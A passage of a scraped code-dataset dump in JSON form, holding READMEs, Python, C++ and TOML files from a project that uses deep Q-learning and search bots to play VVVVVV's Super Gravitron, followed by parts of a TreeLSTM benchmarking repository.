args.disable_cuda:\n args.device = torch.device('cuda')\n torch.cuda.manual_seed(np.random.randint(1, 10000))\n torch.backends.cudnn.enabled = args.enable_cudnn\n else:\n args.device = torch.device('cpu')\n" }, { "alpha_fraction": 0.7443979978561401, "alphanum_fraction": 0.7580706477165222, "avg_line_length": 64.82499694824219, "blob_id": "a88354453f39343d03531d4cbd69356202bb2f2a", "content_id": "cb3c11056f1e22c80caffdb7f77889036da434b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2633, "license_type": "no_license", "max_line_length": 342, "num_lines": 40, "path": "/pybot/README.md", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "# Machine-learning based AI for Super Gravitron\n\nThis bot relies on a deep Q network based on [this Python implementation](https://github.com/Kaixhin/Rainbow).\n\n## Requirements\n\n- [Python 3](https://www.python.org/downloads/) (this bot has been tested on Python 3.7.6)\n- A GPU supporting CUDA (this bot has been tested with a NVIDIA GeForce RTX 2080)\n- A version of the [CUDA drivers](https://developer.nvidia.com/cuda-downloads) supported by [PyTorch](https://pytorch.org/get-started/locally/)\n- Optionally, the [cuDNN library](https://developer.nvidia.com/cudnn) corresponding to your version of CUDA\n- The following Python libraries:\n - [PyTorch](https://pytorch.org/get-started/locally/)\n - plotly\n - tqdm\n - opencv-python\n\n## Running the bot\n\nDownload the pretrained models in the release section, and extract them in the `results` directory.\n\nNow, just open a terminal in the current directory and run `python play.py --model results/canonical/1875/model.pth` (the [modded version of the game](https://github.com/E-Sh4rk/VVVVVV) must be present in `../game`).\n\nYou can use another model, but in this case do not forget to specify the right architecture (`--architecture` and `--hidden-size`).\nYou can also optionally activate cuDNN by using the flag `--enable-cudnn`.\n\nYou can customize the global parameters at the top of `play.py`:\n- If `SHOW_MATRIX` is true, the input given to the DQN will be displayed (warning: it can slow down the process a lot).\n- If `TRAINING` is true, the game will directly start in the Super Gravitron with an increased framerate.\n\n## Training\n\nPlease refer to `training.txt`. Note that the training can take a lot of RAM (about 10 Go with the default configuration).\n\nTwo possible architectures are available (you can of course make your own one in `model.py`):\n- `canonical`: 3 convolution layers with a final output size of `4928`, followed by two dense layers. Should be used with `hidden_size=512`.\n- `canonical-`: Same as `canonical`, but the first convolution has a bigger stride, leading to an output size of `1408` instead of `4928`. Should be used with `hidden_size=256`. This architecture is about 8x lighter than `canonical`. It learns slightly faster at the beginning, but seems to struggle more after.\n\n## Ideas for improvement\n\n- Currently, the image given as input to the DQN has no information about the intertia of the character (it only indicates its position and velocity). In VVVVVV, inertia appears when the player goes left or right for at least 5 consecutive frames. The information whether the player has inertia or not should be added to the input of the DQN.\n" }, { "alpha_fraction": 0.578181803226471, "alphanum_fraction": 0.5963636636734009, "avg_line_length": 25.14285659790039, "blob_id": "ea1777dd8bac18951c5358631f79f567d64345f3", "content_id": "28792aba0204eb0bfe95f674ac9a15a7bc5c58db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 550, "license_type": "no_license", "max_line_length": 92, "num_lines": 21, "path": "/bot/doc/graphical_rendering_wrap.cpp", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "\ntpoint.x = obj.entities[i].xp;\ntpoint.y = obj.entities[i].yp;\n\n////////////////////////////////////////\n\nif (tpoint.x < 0)\n{\n tpoint.x += 320;\n drawRect = sprites_rect;\n drawRect.x += tpoint.x;\n drawRect.y += tpoint.y;\n BlitSurfaceColoured(sprites[obj.entities[i].drawframe],NULL, backBuffer, &drawRect, ct);\n}\nif (tpoint.x > 300)\n{\n tpoint.x -= 320;\n drawRect = sprites_rect;\n drawRect.x += tpoint.x;\n drawRect.y += tpoint.y;\n BlitSurfaceColoured(sprites[obj.entities[i].drawframe],NULL, backBuffer, &drawRect, ct);\n}\n" }, { "alpha_fraction": 0.7636443376541138, "alphanum_fraction": 0.7702465057373047, "avg_line_length": 55.79999923706055, "blob_id": "6f8fe580e7ebac1dcd406a7757f0e93f38f506b0", "content_id": "07aad01aadb179a82f5c3e6a0905d6ca55d83a4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2272, "license_type": "no_license", "max_line_length": 265, "num_lines": 40, "path": "/README.md", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "# VVVVVV-AI\n\nThis repo contains two bots for the Super Gravitron of [VVVVVV](https://github.com/TerryCavanagh/VVVVVV/).\n\nIn order to use them, you need a [modded version of VVVVVV](https://github.com/E-Sh4rk/VVVVVV) that allows control of the game from an external program.\nJust place it into the `game` directory\n(the executable should be called `VVVVVV.exe`, and all its dependencies must be present, such as `data.zip`).\n\n- The folder `bot` contains a search-based bot written in Julia.\n\n- The folder `pybot` contains the a ML-based bot. It uses a deep Q network based on [this Python implementation](https://github.com/Kaixhin/Rainbow).\n\n- The folder `bot_deprecated` contains a deprecated version of the ML-based bot, written in Julia.\nIn the future, I might translate the current version of the Python bot in Julia, but for now you should just ignore this directory.\n\n## License\n\nYou can freely use the content of this repository as long as:\n\n- You do not use one of those bots during a speedrun (or any kind of superplay) by pretending that you are playing\n\nYou can freely modify and distribute the content of this repository as long as:\n\n- You give me credits (please keep a link to this repository)\n\n## Results\n\n- Currently, the ML-based bot survives 30 seconds on average.\nIt has been trained about 250 hours. Its best time is about 3min30.\n- The search-based bot survives much longer (it has more spatial pecision).\nI haven't measured how much time it survives in average, but it is for sure more than what humans can do. Its best time is more than 23 minutes (I killed it after 23 minutes, because I am not very patient).\n\nNOTE: these bots do not *cheat* in the sense that they only have information that is displayed by the game. In particular, they do not know what will be the next pattern to come. More precisely, the bots have the following information (constant values are omitted):\n- The position of the player with a precision of 1px\n- The position of all the projectiles currently active (those that are shown on screen\nor announced by an arrow on the side of the screen) with a precision of 1px\n- The timer and whether the player is dead or not\n\nA demonstration video is available here: \n[https://youtu.be/OeOmJdrOLFs](https://youtu.be/OeOmJdrOLFs)\n" }, { "alpha_fraction": 0.4261682331562042, "alphanum_fraction": 0.7700934410095215, "avg_line_length": 37.21428680419922, "blob_id": "bf70e4ccc6612ddaf43ea894803288b7aec1f0c3", "content_id": "b2aa9632ba3b983df87f5eba1d9ff5d299f3153c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 535, "license_type": "no_license", "max_line_length": 74, "num_lines": 14, "path": "/bot_deprecated/Project.toml", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "name = \"VBot\"\nuuid = \"35d7aa76-1849-4b3b-ac41-46402f36bf86\"\nauthors = [\"Mickael Laurent <[email protected]>\"]\nversion = \"0.0.1\"\n\n[deps]\nBSON = \"fbb218c0-5317-5bc6-957e-2ee96dd4b1f0\"\nCUDAapi = \"3895d2a7-ec45-59b8-82bb-cfc6a382f9b3\"\nFlux = \"587475ba-b771-5e3f-ad9e-33799f191a9c\"\nJSON = \"682c06a0-de6a-54ab-a142-c8b1cf79cde6\"\nKnet = \"1902f260-5fb4-5aff-8c31-6271790ab950\"\nPlots = \"91a5bcdd-55d7-5caf-9e0b-520d859cae80\"\nReinforcementLearning = \"158674fc-8238-5cab-b5ba-03dfc80d1318\"\nReinforcementLearningEnvironments = \"25e41dd2-4622-11e9-1641-f1adca772921\"\n" }, { "alpha_fraction": 0.6350210905075073, "alphanum_fraction": 0.6399437189102173, "avg_line_length": 27.440000534057617, "blob_id": "c410f47890be32efecc0b896c149f7bf303ebfac", "content_id": "cd8f13aeb88538b529631eab282f6553a0797898", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1422, "license_type": "no_license", "max_line_length": 113, "num_lines": 50, "path": "/pybot/comm.py", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "import subprocess\nimport os\nfrom state import parse_state\nimport time\nimport json\nfrom enum import Enum\n\nVVVVVV_CMD_TRAINING = [\"../game/VVVVVV.exe\", \"-training\"]\nVVVVVV_CMD = [\"../game/VVVVVV.exe\"]\n\nclass ACTION(Enum):\n WAIT=0\n LEFT=1\n RIGHT=2\n SUICIDE=3\n\nACTION_MAP = [ \"w\", \"l\", \"r\", \"s\" ]\n\ndef send_move(io, action):\n cmd = ACTION_MAP[action._value_] + os.linesep\n io.stdin.write(cmd.encode(\"utf-8\"))\n io.stdin.flush()\n\ndef read_state(io, prev_json):\n current = None\n while current == None:\n line = io.stdout.readline().decode(\"utf-8\").rstrip()\n if line == \"NO_SWN\":\n send_move(io, ACTION.WAIT)\n elif line.startswith('{'):\n current = json.loads(line)\n return (current, parse_state(prev_json, current))\n\ndef next_step(io, prev_json, action):\n send_move(io, action)\n return read_state(io, prev_json)\n\ndef reset_game(io, state):\n if not(state.terminal):\n (_, state) = next_step(io, None, ACTION.SUICIDE)\n assert state.terminal\n while state.terminal:\n (pjson, state) = next_step(io, None, ACTION.WAIT)\n return (pjson, state)\n\ndef initialize_game(training):\n cmd = VVVVVV_CMD_TRAINING if training else VVVVVV_CMD\n io = subprocess.Popen(cmd, bufsize=-1, stdin=subprocess.PIPE, stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n (pjson, state) = next_step(io, None, ACTION.WAIT)\n return (io, pjson, state)\n" }, { "alpha_fraction": 0.4171779155731201, "alphanum_fraction": 0.6748466491699219, "avg_line_length": 22.285715103149414, "blob_id": "1d919b0551b7da5162fad2043651361a582b395f", "content_id": "292424a67a2165402661a9809064e54f8f0c5ab8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 163, "license_type": "no_license", "max_line_length": 45, "num_lines": 7, "path": "/bot/Project.toml", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "name = \"VBot\"\nuuid = \"35d7aa76-1849-4b3b-ac41-46402f36bf87\"\nauthors = [\"Mickael Laurent <[email protected]>\"]\nversion = \"0.0.1\"\n\n[deps]\nJSON = \"682c06a0-de6a-54ab-a142-c8b1cf79cde6\"\n" }, { "alpha_fraction": 0.7419354915618896, "alphanum_fraction": 0.7467144727706909, "avg_line_length": 51.3125, "blob_id": "9bf8f156d1105866e6e3b50e3dba31bc129d1a99", "content_id": "8193048370bd05b15374083066857d59be0c81b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 837, "license_type": "no_license", "max_line_length": 171, "num_lines": 16, "path": "/bot/README.md", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "# Search-based AI for Super Gravitron\n\n## Requirements\n\n- The [Julia interpreter](https://julialang.org/downloads/) (any recent version, this bot has been tested on Julia 1.3.1)\n\n## Running the bot\n\nJust open a terminal in this directory and run `julia --project bot.jl` (the [modded version of the game](https://github.com/E-Sh4rk/VVVVVV) must be present in `../game`).\n\nYou can customize the global parameters at the top of `bot.jl`:\n- If `DEBUG` is true, the bot will monitor simulations (= compare them with the truth) and log any issue found.\n- If `TRAINING` is true, the game will directly start in the Super Gravitron with an increased framerate.\n\nThere are also some advanced parameters in the file `src/search.jl`:\n- `PREFER_CENTER_X_THRESHOLD` can be set to force the character to go to the middle when it seems safe to do so.\n" }, { "alpha_fraction": 0.4446202516555786, "alphanum_fraction": 0.4614979028701782, "avg_line_length": 26.08571434020996, "blob_id": "b2bf12b6fd83c6a68d6a675f12fee5eea11dbc66", "content_id": "c0918e8bb65e7e6c03632da41285a8e44b04e759", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1896, "license_type": "no_license", "max_line_length": 80, "num_lines": 70, "path": "/bot_deprecated/display.py", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "from tkinter import *\nfrom threading import Thread, Lock\nimport sys\nfrom math import sin\n\nexit_required = False\nimg = None\n\ndef main():\n colors = [\"#000000\", \"#0000aa\", \"#aa0000\", \"#00aa00\"]\n f = int(sys.stdin.readline())\n w = int(sys.stdin.readline())\n h = int(sys.stdin.readline())\n lock = Lock()\n matrix = [ [ 0 for i in range(w) ] for j in range(h) ]\n\n # UPDATE MATRIX FROM INPUT\n def parse_input():\n global exit_required\n while True:\n try:\n line = sys.stdin.readline()\n lock.acquire()\n try:\n for j in range(h):\n for i in range(w):\n matrix[j][i] = int(line[i])\n if j < h-1:\n line = sys.stdin.readline()\n except:\n exit_required = True\n break\n finally:\n lock.release()\n except:\n exit_required = True\n\n t1 = Thread(target=parse_input)\n t1.start()\n\n # DRAW MATRIX\n master = Tk()\n canvas = Canvas(master, width=f*w+10, height=f*h+10, bg=\"#ffffff\")\n canvas.pack()\n\n def refresh():\n global img, exit_required\n lock.acquire()\n try:\n canvas.delete(\"all\")\n img = PhotoImage(width=w, height=h)\n for j in range(h):\n for i in range(w):\n img.put(colors[matrix[j][i]],(i,j))\n img = img.zoom(f,f)\n canvas.create_image((f*w//2+5, f*h//2+5), image=img, state=\"normal\")\n if exit_required:\n master.destroy()\n else:\n master.after(50, refresh)\n except:\n if exit_required:\n master.destroy()\n finally:\n lock.release()\n\n refresh()\n mainloop()\n\nmain()\n" } ]
13
supunab/Lantern
https://github.com/supunab/Lantern
a3213877bf749a1e49af79066af1a7860ca99bc1
932a031816617d71c46653f3b2245129a6a8a7c8
e5def1649043a27c5aedd3546994ba1591d6eecf
refs/heads/master
2023-06-27T13:51:18.078308
2020-01-20T22:13:57
2020-01-20T22:13:57
265,478,354
0
0
BSD-3-Clause
2020-05-20T06:56:02
2020-05-09T16:17:04
2020-01-20T22:13:57
null
[ { "alpha_fraction": 0.7588235139846802, "alphanum_fraction": 0.8117647171020508, "avg_line_length": 23.285715103149414, "blob_id": "cf88a9a4bc060a0c8343e0cab345c1276b775382", "content_id": "5f5c4f12d423ed1bb4eb11a02b9a846cea3a9a7c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 170, "license_type": "permissive", "max_line_length": 53, "num_lines": 7, "path": "/src/out/PLDI19evaluation/scripts/run_deepspeech2.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nscripts/run_deepspeech2_once.sh 1\nscripts/run_deepspeech2_once.sh 2\nscripts/run_deepspeech2_once.sh 3\n\npython3 plot_stats.py DeepSpeech2 deepspeech2/results\n" }, { "alpha_fraction": 0.6250374913215637, "alphanum_fraction": 0.6374812722206116, "avg_line_length": 35.351497650146484, "blob_id": "6d2c8f944042b82c56faa8a3bfed1e2e8b9903bb", "content_id": "2606f9c9c7fea5e1d821ae6bcb7ee2c0b85f00ac", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13340, "license_type": "permissive", "max_line_length": 96, "num_lines": 367, "path": "/src/out/NIPS18evaluation/evaluationTreeLSTM/TensorFold/TreeLSTMTensorFlow.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import codecs\nimport functools\nimport os\nimport tempfile\nimport zipfile\n\nfrom nltk.tokenize import sexpr\nimport numpy as np\nfrom six.moves import urllib\nimport tensorflow as tf\nsession_conf = tf.ConfigProto(\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)\nsess = tf.InteractiveSession(config=session_conf)\nimport tensorflow_fold as td\nimport time\n\ndef run(write_to, batch_size_setting):\n startTime = time.time()\n\n data_dir = \"../senti/\"\n\n \"\"\"\n def download_and_unzip(url_base, zip_name, *file_names):\n zip_path = os.path.join(data_dir, zip_name)\n url = url_base + zip_name\n print('downloading %s to %s' % (url, zip_path))\n urllib.request.urlretrieve(url, zip_path)\n out_paths = []\n with zipfile.ZipFile(zip_path, 'r') as f:\n for file_name in file_names:\n print('extracting %s' % file_name)\n out_paths.append(f.extract(file_name, path=data_dir))\n return out_paths\n\n def download(url_base, zip_name):\n zip_path = os.path.join(data_dir, zip_name)\n url = url_base + zip_name\n print('downloading %s to %s' % (url, zip_path))\n urllib.request.urlretrieve(url, zip_path)\n\n\n full_glove_path, = download_and_unzip(\n 'http://nlp.stanford.edu/data/', 'glove.840B.300d.zip',\n 'glove.840B.300d.txt')\n\n train_path, dev_path, test_path = download_and_unzip(\n 'http://nlp.stanford.edu/sentiment/', 'trainDevTestTrees_PTB.zip',\n 'trees/train.txt', 'trees/dev.txt', 'trees/test.txt')\n\n\n filtered_glove_path = os.path.join(data_dir, 'filtered_glove.txt')\n\n def filter_glove():\n vocab = set()\n # Download the full set of unlabeled sentences separated by '|'.\n sentence_path, = download_and_unzip(\n 'http://nlp.stanford.edu/~socherr/', 'stanfordSentimentTreebank.zip',\n 'stanfordSentimentTreebank/SOStr.txt')\n with codecs.open(sentence_path, encoding='utf-8') as f:\n for line in f:\n # Drop the trailing newline and strip backslashes. Split into words.\n vocab.update(line.strip().replace('\\\\', '').split('|'))\n nread = 0\n nwrote = 0\n with codecs.open(full_glove_path, encoding='utf-8') as f:\n with codecs.open(filtered_glove_path, 'w', encoding='utf-8') as out:\n for line in f:\n nread += 1\n line = line.strip()\n if not line: continue\n if line.split(u' ', 1)[0] in vocab:\n out.write(line + '\\n')\n nwrote += 1\n print('read %s lines, wrote %s' % (nread, nwrote))\n #filter_glove()\n \"\"\"\n\n dev_glove_path = os.path.join('./', 'small_glove.txt')\n def load_embeddings(embedding_path):\n \"\"\"Loads embedings, returns weight matrix and dict from words to indices.\"\"\"\n print('loading word embeddings from %s' % embedding_path)\n weight_vectors = []\n word_idx = {}\n with codecs.open(embedding_path, encoding='utf-8') as f:\n for line in f:\n word, vec = line.split(u' ', 1)\n word_idx[word] = len(weight_vectors)\n weight_vectors.append(np.array(vec.split(), dtype=np.float32))\n # Annoying implementation detail; '(' and ')' are replaced by '-LRB-' and\n # '-RRB-' respectively in the parse-trees.\n #word_idx[u'-LRB-'] = word_idx.pop(u'(')\n #word_idx[u'-RRB-'] = word_idx.pop(u')')\n # Random embedding vector for unknown words.\n weight_vectors.append(np.random.uniform(\n -0.05, 0.05, weight_vectors[0].shape).astype(np.float32))\n return np.stack(weight_vectors), word_idx\n\n weight_matrix, word_idx = load_embeddings(dev_glove_path)\n\n def load_trees(filename):\n with codecs.open(filename, encoding='utf-8') as f:\n # Drop the trailing newline and strip \\s.\n trees = [line.strip().replace('\\\\', '') for line in f]\n print('loaded %s trees from %s' % (len(trees), filename))\n return trees\n\n #train_path = './senti/trees/train.txt'\n #train_path = os.path.join(data_dir, 'trees/dev.txt')\n train_path = './dev.txt'\n #dev_path = './senti/trees/dev.txt'\n #test_path = './senti/trees/test.txt'\n\n train_trees = load_trees(train_path)\n trainSIZE = len(train_trees)\n #dev_trees = load_trees(dev_path)\n #test_trees = load_trees(test_path)\n\n\n class BinaryTreeLSTMCell(tf.contrib.rnn.BasicLSTMCell):\n \"\"\"LSTM with two state inputs.\n\n This is the model described in section 3.2 of 'Improved Semantic\n Representations From Tree-Structured Long Short-Term Memory\n Networks' <http://arxiv.org/pdf/1503.00075.pdf>, with recurrent\n dropout as described in 'Recurrent Dropout without Memory Loss'\n <http://arxiv.org/pdf/1603.05118.pdf>.\n \"\"\"\n\n def __init__(self, num_units, keep_prob=1.0):\n \"\"\"Initialize the cell.\n\n Args:\n num_units: int, The number of units in the LSTM cell.\n keep_prob: Keep probability for recurrent dropout.\n \"\"\"\n super(BinaryTreeLSTMCell, self).__init__(num_units)\n self._keep_prob = keep_prob\n\n def __call__(self, inputs, state, scope=None):\n with tf.variable_scope(scope or type(self).__name__):\n lhs, rhs = state\n c0, h0 = lhs\n c1, h1 = rhs\n concat = tf.contrib.layers.linear(\n tf.concat([inputs, h0, h1], 1), 5 * self._num_units)\n\n # i = input_gate, j = new_input, f = forget_gate, o = output_gate\n i, j, f0, f1, o = tf.split(value=concat, num_or_size_splits=5, axis=1)\n\n j = self._activation(j)\n if not isinstance(self._keep_prob, float) or self._keep_prob < 1:\n j = tf.nn.dropout(j, self._keep_prob)\n\n new_c = (c0 * tf.sigmoid(f0 + self._forget_bias) +\n c1 * tf.sigmoid(f1 + self._forget_bias) +\n tf.sigmoid(i) * j)\n new_h = self._activation(new_c) * tf.sigmoid(o)\n\n new_state = tf.contrib.rnn.LSTMStateTuple(new_c, new_h)\n\n return new_h, new_state\n\n keep_prob_ph = tf.placeholder_with_default(1.0, [])\n\n lstm_num_units = 150 # Tai et al. used 150, but our regularization strategy is more effective\n tree_lstm = td.ScopedLayer(\n tf.contrib.rnn.DropoutWrapper(\n BinaryTreeLSTMCell(lstm_num_units, keep_prob=keep_prob_ph),\n input_keep_prob=keep_prob_ph, output_keep_prob=keep_prob_ph),\n name_or_scope='tree_lstm')\n\n NUM_CLASSES = 5 # number of distinct sentiment labels\n output_layer = td.FC(NUM_CLASSES, activation=None, name='output_layer')\n\n word_embedding = td.Embedding(\n *weight_matrix.shape, initializer=weight_matrix, name='word_embedding', trainable=False)\n\n embed_subtree = td.ForwardDeclaration(name='embed_subtree')\n\n def logits_and_state():\n \"\"\"Creates a block that goes from tokens to (logits, state) tuples.\"\"\"\n unknown_idx = len(word_idx)\n lookup_word = lambda word: word_idx.get(word, unknown_idx)\n\n word2vec = (td.GetItem(0) >> td.InputTransform(lookup_word) >>\n td.Scalar('int32') >> word_embedding)\n\n pair2vec = (embed_subtree(), embed_subtree())\n\n # Trees are binary, so the tree layer takes two states as its input_state.\n zero_state = td.Zeros((tree_lstm.state_size,) * 2)\n # Input is a word vector.\n zero_inp = td.Zeros(word_embedding.output_type.shape[0])\n\n word_case = td.AllOf(word2vec, zero_state)\n pair_case = td.AllOf(zero_inp, pair2vec)\n\n tree2vec = td.OneOf(len, [(1, word_case), (2, pair_case)])\n\n return tree2vec >> tree_lstm >> (output_layer, td.Identity())\n\n def tf_node_loss(logits, labels):\n return tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels)\n\n def tf_fine_grained_hits(logits, labels):\n predictions = tf.cast(tf.argmax(logits, 1), tf.int32)\n return tf.cast(tf.equal(predictions, labels), tf.float64)\n\n def tf_binary_hits(logits, labels):\n softmax = tf.nn.softmax(logits)\n binary_predictions = (softmax[:, 3] + softmax[:, 4]) > (softmax[:, 0] + softmax[:, 1])\n binary_labels = labels > 2\n return tf.cast(tf.equal(binary_predictions, binary_labels), tf.float64)\n\n def add_metrics(is_root, is_neutral):\n \"\"\"A block that adds metrics for loss and hits; output is the LSTM state.\"\"\"\n c = td.Composition(\n name='predict(is_root=%s, is_neutral=%s)' % (is_root, is_neutral))\n with c.scope():\n # destructure the input; (labels, (logits, state))\n labels = c.input[0]\n logits = td.GetItem(0).reads(c.input[1])\n state = td.GetItem(1).reads(c.input[1])\n\n # calculate loss\n loss = td.Function(tf_node_loss)\n td.Metric('all_loss').reads(loss.reads(logits, labels))\n if is_root: td.Metric('root_loss').reads(loss)\n\n # calculate fine-grained hits\n hits = td.Function(tf_fine_grained_hits)\n td.Metric('all_hits').reads(hits.reads(logits, labels))\n if is_root: td.Metric('root_hits').reads(hits)\n\n # calculate binary hits, if the label is not neutral\n if not is_neutral:\n binary_hits = td.Function(tf_binary_hits).reads(logits, labels)\n td.Metric('all_binary_hits').reads(binary_hits)\n if is_root: td.Metric('root_binary_hits').reads(binary_hits)\n\n # output the state, which will be read by our by parent's LSTM cell\n c.output.reads(state)\n return c\n\n def tokenize(s):\n label, phrase = s[1:-1].split(None, 1)\n return label, sexpr.sexpr_tokenize(phrase)\n\n def embed_tree(logits_and_state, is_root):\n \"\"\"Creates a block that embeds trees; output is tree LSTM state.\"\"\"\n return td.InputTransform(tokenize) >> td.OneOf(\n key_fn=lambda pair: pair[0] == '2', # label 2 means neutral\n case_blocks=(add_metrics(is_root, is_neutral=False),\n add_metrics(is_root, is_neutral=True)),\n pre_block=(td.Scalar('int32'), logits_and_state))\n\n model = embed_tree(logits_and_state(), is_root=True)\n\n embed_subtree.resolve_to(embed_tree(logits_and_state(), is_root=False))\n\n compiler = td.Compiler.create(model)\n print('input type: %s' % model.input_type)\n print('output type: %s' % model.output_type)\n\n\n metrics = {k: tf.reduce_mean(v) for k, v in compiler.metric_tensors.items()}\n\n LEARNING_RATE = 0.05\n KEEP_PROB = 1.0\n BATCH_SIZE = batch_size_setting #20\n EPOCHS = 6\n EMBEDDING_LEARNING_RATE_FACTOR = 0\n\n train_feed_dict = {keep_prob_ph: KEEP_PROB}\n loss = tf.reduce_sum(compiler.metric_tensors['all_loss'])\n opt = tf.train.AdagradOptimizer(LEARNING_RATE)\n\n grads_and_vars = opt.compute_gradients(loss)\n found = 0\n for i, (grad, var) in enumerate(grads_and_vars):\n if var == word_embedding.weights:\n found += 1\n grad = tf.scalar_mul(EMBEDDING_LEARNING_RATE_FACTOR, grad)\n grads_and_vars[i] = (grad, var)\n #assert found == 1 # internal consistency check\n train = opt.apply_gradients(grads_and_vars)\n saver = tf.train.Saver()\n\n sess.run(tf.global_variables_initializer())\n\n def train_step(batch):\n train_feed_dict[compiler.loom_input_tensor] = batch\n _, batch_loss = sess.run([train, loss], train_feed_dict)\n return batch_loss\n\n def train_epoch(train_set):\n return sum(train_step(batch) for batch in td.group_by_batches(train_set, BATCH_SIZE))\n\n train_set = compiler.build_loom_inputs(train_trees)\n\n \"\"\"\n dev_feed_dict = compiler.build_feed_dict(dev_trees)\n\n def dev_eval(epoch, train_loss):\n dev_metrics = sess.run(metrics, dev_feed_dict)\n dev_loss = dev_metrics['all_loss']\n dev_accuracy = ['%s: %.2f' % (k, v * 100) for k, v in\n sorted(dev_metrics.items()) if k.endswith('hits')]\n print('epoch:%4d, train_loss: %.3e, dev_loss_avg: %.3e, dev_accuracy:\\n [%s]'\n % (epoch, train_loss, dev_loss, ' '.join(dev_accuracy)))\n return dev_metrics['root_hits']\n \"\"\"\n\n best_accuracy = 0.0\n save_path = os.path.join(data_dir, 'sentiment_model')\n\n loopTime = time.time()\n #print('prepare time %s ' % (loopTime - startTime))\n\n loss_save = []\n for epoch, shuffled in enumerate(td.epochs(train_set, EPOCHS), 1):\n train_loss = train_epoch(shuffled)\n av_loss = train_loss / trainSIZE\n temp_time = time.time()\n print('train loss is %s at time %s' % (av_loss, temp_time - loopTime))\n loss_save.append(av_loss)\n #accuracy = dev_eval(epoch, train_loss)\n #if accuracy > best_accuracy:\n # best_accuracy = accuracy\n # checkpoint_path = saver.save(sess, save_path, global_step=epoch)\n # print('model saved in file: %s' % checkpoint_path)\n\n loopEndTime = time.time()\n #print('loop time %s ' % (loopEndTime - loopTime))\n prepareTime = loopTime - startTime\n loopTime = loopEndTime - loopTime\n timePerEpoch = loopTime / EPOCHS\n\n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(timePerEpoch) + \"\\n\")\n\n\n #saver.restore(sess, checkpoint_path)\n\n #test_results = sorted(sess.run(metrics, compiler.build_feed_dict(test_trees)).items())\n #print(' loss: [%s]' % ' '.join(\n # '%s: %.3e' % (name.rsplit('_', 1)[0], v)\n # for name, v in test_results if name.endswith('_loss')))\n #print('accuracy: [%s]' % ' '.join(\n # '%s: %.2f' % (name.rsplit('_', 1)[0], v * 100)\n # for name, v in test_results if name.endswith('_hits')))\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) < 2):\n print(\"should have a file to write results to\")\n exit(0)\n if (len(sys.argv) == 2):\n print(\"default batch size is 20\")\n run(sys.argv[1], 20)\n else:\n print(\"using batch size as \" + (sys.argv[2]))\n run(sys.argv[1], int(sys.argv[2]))" }, { "alpha_fraction": 0.5693556666374207, "alphanum_fraction": 0.5976852774620056, "avg_line_length": 34.09090805053711, "blob_id": "7d109b7f196ef7cbf50ce2f6ffc9e8ecfff41f32", "content_id": "d0e733dedf50503855b36d38739ac395f1d4f15d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5789, "license_type": "permissive", "max_line_length": 177, "num_lines": 165, "path": "/src/out/ICFP18evaluation/evaluationTreeLSTM/Lantern/preprocess_data.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import codecs\nimport functools\nimport os\nimport tempfile\nimport zipfile\n\nfrom nltk.tokenize import sexpr\nimport numpy as np\nfrom six.moves import urllib\n\n#data_dir = \"../senti\"\n\n#sample = \"(3 (2 It) (4 (4 (2 's) (4 (3 (2 a) (4 (3 lovely) (2 film))) (3 (2 with) (4 (3 (3 lovely) (2 performances)) (2 (2 by) (2 (2 (2 Buy) (2 and)) (2 Accorsi))))))) (2 .)))\"\n# 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \n#sample2= \"(2 (2 (1 No) (2 one)) (1 (1 (2 goes) (2 (1 (2 (2 unindicted) (2 here)) (2 ,)) (2 (2 which) (3 (2 (2 is) (2 probably)) (3 (2 for) (4 (2 the) (4 best))))))) (2 .)))\"\n\ndef getAllwordsFromOneData(data):\n data = data.split()\n words = set()\n for i in data:\n if i.endswith(')'):\n words.add(i.split(')')[0])\n return (words)\n\n#get all words used in dev.txt and collect the number of trees\ntarget_file = './dev.txt'\n#target_file = os.path.join(data_dir, target)\nwords = set()\nnum_tree = 0\nwith open(target_file, 'r') as f:\n for line in f:\n num_tree += 1\n words.update(getAllwordsFromOneData(line))\n\n#filter the Golve file for all words used, so we don't have to keep a big file in memory\n# we assume the 2G glove original file is at this directory\nglove_path = '../PyTorch/data/glove/glove.840B.300d.txt'\n# we want to filter it so that we maintain a small subset of the glove embeddings locally\nfiltered_glove_path = os.path.join('./', 'filtered_glove.txt')\ndef filter_glove(words):\n ncount = 0\n with codecs.open(glove_path, encoding = 'utf-8') as f:\n with codecs.open(filtered_glove_path, 